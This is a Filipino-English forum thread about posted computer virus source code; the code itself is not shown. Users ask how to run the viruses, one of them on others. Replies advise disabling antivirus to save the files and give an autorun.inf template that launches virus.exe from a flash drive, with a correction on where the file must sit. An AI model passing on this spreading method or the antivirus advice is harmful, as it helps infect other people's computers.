Computer Virus Source Codes

[arwin00139]

gn2 po ba pinag aaralan ng mga programmer?
patulong naman kung panu ito gmitin sa iba XD try lang

 

[drx2k]

copy the code in notepad then save it as .asm or.vbs

add lang po:

bakit ayaw ma-save kahit sa notepad lang? sabi na anti-virus ko. possible treat, file deleted

salamat sa mga nag post nito. napatunayan ko na hindi dekorasyon lang ang anti-virus na gamit ko

 

[genshi]

galeng ng bitdefender, ala lumusot, updated kc eh, nyahahaha nagtry kc ako ng sample.... pro mga sir, ok lng po matutunan itong gnitong mga bagay, pro used the knowledge for good... Great Knowledge comes with Great Responsibility, nyahahaha....

 

[spookone]

di ko gets kung pano toh gamitin... more on hardware kasi ung knowledge ko... pano ba ito i execute??? save sa notepad then???

 

[rocarobin]

LIPA virus code is fake, LIPA viurs is not original, pinoy talaga hilig edit edit para feel nya sikat cya para sa hindi naka alam.

iLOVEyou VIRUS infects internet mail in one single time, and does not infect freely but manually.

Great Code

I made one, last 1998, virusname:diehard3, but didn't last long because of 32bit OS system.

 

[BiDeN]

andami, pano po ba ito gamitin?

 

[aed040]

andami, pano po ba ito gamitin?

I THINK HINDI ITO GINAGAMIT KUNDI PINAGAARALAN PARA MAS MAPALAWAK ANG IYONG KAALAMAN SA PROGRAMMING AT SA MGA WEAKNESSES NG MGA COMPUTER SYSTEMS...

 

[doom_warrior]

mga sir share nyo virus code using flash drive when you plug it the program will execute..thanks..

 

[shadow_kill]

kng issave niyo ito at nddetect ng AV niyo at trip niyo tlgang isave(not compile) turn off niyo muna ang AV niyo

 

[aed040]

mga sir share nyo virus code using flash drive when you plug it the program will execute..thanks..

copy mo lang to sa notepad then save as autorun.inf then copy mo sa flash drive where your virus is located...

[XXXXXX]
XXXXXXX=virus.exe
XXXXXXXXXXX=virus.exe

 

[doom_warrior]

copy mo lang to sa notepad then save as autorun.inf then copy mo sa flash drive where your virus is located...

thanks ,i will try..hehe

hay. . . . . . .produkto lang nmn ito ng Visual basic at Visual c++
meron akong program nito sa bahay(galing sa school) at binalaan ako na wag gagawa ng virus . . . .

hmm . . a can't say if this one is a good post or not . . but thanks . . . i'm now aware of that . . . (kasi nga computer programmer ako hehehe)


i think that you know a lot of things upon that . . . . .

and i think you can generate a crack or keygen perhaps? bsta bro . . . . compliment ko lng ung pag post mo ng babala kc muntik ko ng subukan 2 . . . hehehe bute cnabe sakin n malakas ang epekto nito sa pc . . . . . .

 

[drixem]

....kakaasr nga ung taga lipa are VIRUS kc lagi q nre2frmat ung FD q kc my gann virus sa BRGY nmn n lagi qng pinasa2ksakan...tas pagsa2sak q sa comp q detect xa ng KIS eh..........peo ndi xa mwala kya reformat q nlng xa....panu b tanggalin un!?i-refomat b ung pc sa BRGY para mwala ung virus dun!?!?

try m 2..

depende sa programmer. para sa akin hindi kasi system programmer ako.

LIPA virus code is fake, LIPA viurs is not original, pinoy talaga hilig edit edit para feel nya sikat cya para sa hindi naka alam.

i agree. pero okey din naman ang taga lipa are kasi mey naka lagay naman na edited lang.

copy mo lang to sa notepad then save as autorun.inf then copy mo sa flash drive where your virus is located...

the autorun.inf should be located in a fixed drive
eg.
C:\autorun.inf
D:\autorun.inf
E:\autorun.inf
...
not anywhere or else di lalabas sa context menu ng drive ang "autoplay"

di po producto ng visual basic at visual c++ ang virus. eto po tama .vbs(visual basic script), asm(assembly), .c, c++, etc.

didn't you mean na ignorante and mga computer programmer sa virus, i think not. computer programmer are application developer remember? and i am a one of them.

ay mukhang mali ung nasabi ko hehehe (kasi isa p nmn akong computer programmer)
hehehe sorry . . . . pero alam ko na ito ay nagagawa ng nasabi kong application (visual studio and visual c++) hehehe
